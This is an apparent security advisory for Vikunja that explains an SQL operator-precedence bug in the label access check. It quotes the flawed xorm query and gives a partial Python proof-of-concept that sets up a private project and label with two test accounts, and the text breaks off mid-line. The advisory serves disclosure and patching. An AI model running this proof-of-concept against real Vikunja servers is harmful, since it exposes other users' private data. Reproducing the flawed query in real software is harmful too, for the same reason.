GHSA-hj5c-mhh2-g7jq: Vikunja has Broken Access Control on Label Read via SQL Operator Precedence Bug

Summary The hasAccessToLabel function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed. Details The access control query at pkg/models/label_permissions.go:85-91 uses xorm's query chain in a way that produces SQL without proper grouping: has, err = s.Table("labels"). Select("label_tasks.*"). Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id"). Where("label_tasks.label_id is not null OR labels.created_by_id = ?", createdByID). Or(cond). And("labels.id = ?", l.ID). Exist(ll) The xorm chain .Where(A OR B).Or(C).And(D) generates SQL: WHERE A OR B OR C AND D. Because SQL AND has higher precedence than OR, this evaluates as WHERE A OR B OR (C AND D). The labels.id = ? constraint (D) only binds to the project access condition (C), while label_tasks.label_id IS NOT NULL (part of A) remains unconstrained. Any label that has at least one task association passes the IS NOT NULL check, regardless of who is requesting it. Proof of Concept Tested on Vikunja v2.2.2. import requests TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1" def login(u, p): return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"] def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} a_token = login("labeler", "Labeler123!") b_token = login("snooper", "Snooper123!") labeler creates private project, label, task, and assigns label proj = requests.put(f"{API}/projects", headers=h(a_token), json={"title": "Private Project"}).json() label = requests.put(f"{API}/labels", headers=h(a_token), json={"title": "CONFIDENTIAL-REVENUE", "hex_color": "ff0000"}).json() task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(a_token), json={"title": "Q4 revenue data"}).json() requests.put(f"{API}/tasks/{task['id']}/labels", he